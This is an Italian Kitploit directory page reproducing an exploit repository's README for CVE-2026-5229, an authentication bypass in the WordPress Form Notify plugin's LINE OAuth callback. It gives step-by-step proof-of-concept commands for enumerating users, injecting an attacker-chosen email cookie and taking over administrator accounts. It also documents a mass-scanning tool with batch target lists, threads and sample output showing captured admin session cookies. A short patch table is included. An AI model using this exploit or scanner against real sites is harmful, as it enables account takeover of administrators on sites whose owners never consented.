Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-5229 — CVE-2026-5229: Bypass dell'autenticazione di Form Notify tramite il callback OAuth di LINE (CVSS 9.8) | Kitploit
Strumenti/GitHubGitHub/xxconi/cve-2026-5229
Scanner di VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingAutenticazioneApprendimento e Formazione
GitHubxxconi/cve-2026-5229

CVE-2026-5229

CVE-2026-5229: Bypass dell'autenticazione di Form Notify tramite il callback OAuth di LINE (CVSS 9.8)

Vedi Repository
13 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-5229

CVE-2026-5229: Bypass dell'autenticazione di Form Notify tramite callback OAuth di LINE (CVSS 9.8)

Form Notify — Scanner per il Bypass dell'Autenticazione OAuth di LINE

Plugin: Form Notify (form-notify) Tipo di vulnerabilità: Bypass dell'autenticazione OAuth di LINE non autenticato → Acquisizione dell'account Punteggio CVSS: 9.8 (Critico) Vettore CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Versioni interessate: <= 1.1.10 Versione patchata: 1.1.11+ Ricercatore: Paolo Tresso — Wordfence


📌 Informazioni sulla Vulnerabilità

Il plugin Form Notify è un plugin WordPress che invia notifiche dopo l'invio dei moduli e offre l'integrazione LINE Login OAuth 2.0.

La vulnerabilità si trova nell'handler di callback OAuth di LINE. Dopo che l'utente completa il flusso di autorizzazione LINE, il plugin risolve l'account WordPress solo in base all'indirizzo email. Non verifica mai se l'account LINE sia stato precedentemente associato a quell'account WordPress.


🔍 Tabella delle Vulnerabilità per Versione

VersioneVulnerabilitàMetodo di attacco
<= 1.1.08Cookie Injection + Email MatchPath A o Path B
1.1.09 – 1.1.10Email Match (cookie rimosso)Path B
1.1.11+Patchata—

⚙️ Analisi Tecnica

Endpoint REST Pubblico

L'endpoint di callback OAuth di LINE è registrato come completamente pubblico:

root@kitploit:~
// src/APIs/Line/Login/Route.php
register_rest_route(
    'form-notify/v1',
    '/callback',
    array(
        'methods'             => 'GET',
        'callback'            => array( $this, 'get_api_callback' ),
        'permission_callback' => function () {
            return true;  // kimlik doğrulama gerekmez
        },
    )
);

Perché il Nonce non Offre Protezione?

I nonce di WordPress sono token CSRF, non token di autenticazione. Ogni visitatore può ottenere un nonce valido dall'HTML della pagina e superare il controllo di verifica.


Risoluzione dell'Account tramite Email (1.1.10)

root@kitploit:~
// Route.php — lines 115–116
$has_real_email = ! empty( $user->email );
$user_email     = $has_real_email ? $user->email : $user_raw_id . '@line.com';
root@kitploit:~
// User.php — is_member()
public function is_member( string $user_email, string $user_avatar ): bool {
    $this->user = get_user_by( 'email', $user_email );  // sadece email ile arama
    if ( ! is_wp_error( $this->user ) && $this->user ) {
        return true;  // linkage kontrolü YOK
    }
    return false;
}

Se viene trovata una corrispondenza, il metodo login() apre immediatamente una sessione:

root@kitploit:~
// User.php — login()
public function login( string $user_raw_id, string $user_email, ... ): void {
    if ( ! is_user_logged_in() ) {
        wp_clear_auth_cookie();
        wp_set_current_user( $this->user->ID );
        wp_set_auth_cookie( $this->user->ID, true, is_ssl() );
    }
}

Cookie Injection (<= 1.1.08)

root@kitploit:~
// Route.php (1.1.08) — lines 115–118
if ( isset( $_COOKIE['form_notify_line_email'] ) ) {
    $line_email = sanitize_text_field(
        wp_unslash( $_COOKIE['form_notify_line_email'] )
    );
}
$user_email = ( $user->email ) ? $user->email : $line_email;

Quando il profilo LINE non restituisce un'email ($user->email vuoto), il plugin legge direttamente il cookie del browser. L'attaccante controlla completamente questo cookie.


Debolezza nella Validazione dello State

root@kitploit:~
$session_state = get_transient( 'form_notify_line_state_' . $state );

if ( empty( $session_state ) ) {
    // Transient yoksa $_SESSION'a düşer
    $session_state = sanitize_text_field(
        wp_unslash( $_SESSION[ 'form_notify_line_state_' . $state ] )
    );
    set_transient( 'form_notify_line_state_' . $state, $state, 60 * 60 );
}

Se il transient è scaduto, entra in gioco il fallback su $_SESSION. Nella maggior parte delle installazioni WordPress, $_SESSION non è popolata a questo punto → il controllo dello state può essere aggirato.


Problema Secondario — Email = Password (<= 1.1.10)

root@kitploit:~
// sign_up() metodu
$userdata = array(
    'user_pass' => $user_email,  // şifre = email adresi
    ...
);

Negli account creati tramite il flusso OAuth di LINE, la password è identica all'indirizzo email. Questa situazione consente attacchi diretti di brute-force o di login.


🔴 Perché è Critica?

MotivoDescrizione
Nessuna autenticazione richiestaL'endpoint di callback è completamente pubblico
Nessun controllo di collegamentoQualsiasi account LINE è sufficiente
Attacco via cookieCon <= 1.1.08 non serve nemmeno l'email
Tutti gli account, inclusi gli adminget_user_by('email') colpisce chiunque
Scarso controllo dello stateLa protezione CSRF può essere aggirata
Email = PasswordGli account creati via OAuth sono vulnerabili a brute-force banale

🧪 Proof of Concept (Manuale)

⚠️ Disclaimer: Questo PoC è fornito esclusivamente a scopo educativo e per test di sicurezza autorizzati. Testare sistemi senza autorizzazione esplicita è illegale.

Prerequisiti:

  • Plugin Form Notify installato e attivo, LINE Login configurato
  • Account sviluppatore LINE e canale LINE Login
  • Una pagina sul sito target con il pulsante di login LINE

Path A — Cookie Injection (<= 1.1.08)

Passo 1 — Rilevamento dell'Email Target

root@kitploit:~
TARGET="https://target.com"

# WordPress REST API'den kullanıcı listesi
curl -s "$TARGET/wp-json/wp/v2/users" | python3 -m json.tool

# Veya author sayfaları
curl -s "$TARGET/?author=1" -I | grep Location

Passo 2 — Imposta il Cookie

Apri gli strumenti di sviluppo del browser e incolla nella console:

root@kitploit:~
document.cookie = "[email protected]; path=/";

Oppure con curl:

root@kitploit:~
curl -v -b '[email protected]' \
  "$TARGET/wp-json/form-notify/v1/login" 2>&1 | grep Location

Passo 3 — Avvia il Flusso OAuth di LINE

Apri nel browser l'URL OAuth di LINE presente nell'header Location.

Passo 4 — Completa SENZA concedere lo Scope Email

Nella schermata di consenso LINE, non concedere il permesso email oppure usa un account LINE senza email. LINE reindirizza al callback senza email. Il plugin ricade sul cookie.

Passo 5 — Verifica la Sessione

root@kitploit:~
curl -s -b 'wordpress_logged_in_XXXX=...' \
  "$TARGET/wp-json/wp/v2/users/me" | python3 -m json.tool

Risposta attesa:

root@kitploit:~
{
  "id": 1,
  "name": "admin",
  "email": "[email protected]",
  "roles": ["administrator"]
}

Path B — Email Match (<= 1.1.10)

Passo 1 — Rilevamento dell'Email Target

Come al Passo 1 del Path A.

Passo 2 — Crea un Account LINE

Crea un account LINE all'indirizzo account.line.biz con l'email target. (Richiede la verifica dell'email — è necessario l'accesso alla casella di posta del target.)

Passo 3 — Avvia il Flusso OAuth

root@kitploit:~
https://target.com/wp-json/form-notify/v1/login

Passo 4 — Completa CONCEDENDO lo Scope Email

Nella schermata di consenso LINE, concedi il permesso email. LINE restituisce l'indirizzo email nel callback.

Passo 5 — Autenticazione Automatica

root@kitploit:~
Plugin: is_member('[email protected]')
     → get_user_by('email', '[email protected]')
     → Administrator bulundu
     → wp_set_auth_cookie(1)
     → Oturum açıldı ✓

🛠️ Scanner Automatico

Installazione

root@kitploit:~
git clone https://github.com/kullanici/form-notify-bypass
cd form-notify-bypass
pip install -r requirements.txt

requirements.txt

root@kitploit:~
requests

🚀 Utilizzo

Target Singolo — Rilevamento Automatico dell'Email

root@kitploit:~
python form_notify_rce.py -u http://hedef.com

Path A con Email Specifica (Cookie Injection)

root@kitploit:~
python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path A

Path B (Email Match) — Completamento Manuale

root@kitploit:~
python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path B

Entrambi i Path

root@kitploit:~
python form_notify_rce.py -u http://hedef.com \
  --email [email protected] \
  --path both

Scansione Batch

root@kitploit:~
python form_notify_rce.py -l targets.txt -t 15 -o sonuclar.txt

Con Proxy (Burp Suite)

root@kitploit:~
python form_notify_rce.py -u http://hedef.com \
  --proxy http://127.0.0.1:8080

⚙️ Parametri

ParametroAbbreviazioneDescrizionePredefinito
--url-uURL del target singolo—
--list-lFile con elenco dei target—
--threads-tNumero di thread10
--output-oFile di outputauth_bypass.txt
--email—Email dell'utente targetrilevamento automatico
--path—Path di attacco (A / B / both)both
--max-users—Max utenti per target5
--proxy—URL del proxy—
--timeout—Timeout richiesta (sec)10

📊 Stati di Output dello Scanner

StatoDescrizione
★ AUTH OKCookie di sessione ottenuto — completamente automatico
★ WP-ADMINReindirizzato a /wp-admin
~ MANUALURL OAuth pronto, completalo nel browser
~ PATH BPassaggi manuali con account LINE
- NO_PLUGINForm Notify non installato
- NO_LINELINE Login non attivo
~ NO_TARGETEmail utente non trovata
~ UNREACHTarget non raggiungibile

🖥️ Esempio di Output dello Scanner

root@kitploit:~
[*] 3 hedef | Form Notify LINE OAuth Bypass | threads=10

[★ AUTH OK   ] http://hedef1.com  (Path A)
  Hedef Email : [email protected]
  Sürüm       : 1.1.08
  OAuth URL   : https://access.line.me/oauth2/v2.1/authorize?...
  Kullanıcı   : admin <[email protected]> roles=['administrator']
  Cookie      : {'wordpress_logged_in_abc123': 'admin|...'}

[~ MANUAL    ] http://hedef2.com  (Path A — Manuel tamamlama)
  Hedef Email : [email protected]
  Cookie Set  : [email protected]
  OAuth URL   : https://access.line.me/oauth2/v2.1/authorize?...
  State       : a1b2c3d4e5f6

[- NO_LINE   ] http://hedef3.com  (LINE Login aktif değil)

──────────────────────────────────────────────────────────────
  DONE                        :    2
  NO_LINE                     :    1
──────────────────────────────────────────────────────────────
  Auth bypass → auth_bypass.txt
──────────────────────────────────────────────────────────────

🛡️ Difesa / Patch

MisuraImplementazione
Aggiornamento del pluginAggiorna a Form Notify 1.1.11+
Controllo del collegamento LINESalva l'ID LINE nei meta utente, verificalo a ogni accesso
Rimozione del fallback cookieRimuovi l'utilizzo di $_COOKIE['form_notify_line_email']
Validazione dello stateRimuovi il fallback transient, rifiuta gli state scaduti
Politica passwordNon usare l'email come password in sign_up()
Protezione dell'endpoint RESTApplica rate limiting all'endpoint di callback

Esempio di risoluzione sicura dell'account:

root@kitploit:~
// Güvensiz (mevcut)
$user = get_user_by( 'email', $line_email );

// Güvenli (önerilen)
$users = get_users( array(
    'meta_key'   => 'line_user_id',
    'meta_value' => $line_user_id,  // LINE ID ile eşleştir
) );

📁 Struttura dei File

root@kitploit:~
form-notify-bypass/
├── form_notify_rce.py   # Ana tarayıcı
├── requirements.txt     # Bağımlılıklar
└── README.md            # Bu dosya

⚠️ Avvertenza Legale

Questo strumento e PoC sono stati realizzati per essere utilizzati esclusivamente su sistemi autorizzati, a fini educativi e nell'ambito di test di penetrazione. L'utilizzo su sistemi non autorizzati costituisce reato ai sensi degli articoli 243-245 del Codice Penale Turco e delle leggi internazionali sui crimini informatici. Lo sviluppatore non si assume alcuna responsabilità legale derivante dall'uso improprio dello strumento.


📄 Licenza

Licenza MIT — Solo a scopo educativo e di ricerca.


🔗 Riferimenti

  • Wordfence Advisory
  • Documentazione LINE Login OAuth 2.0
  • WordPress Plugin Directory — Form Notify
  • Calcolatore CVSS 3.1
  • OAuth 2.0 Security Best Practices — RFC 9700
Scarica lo strumento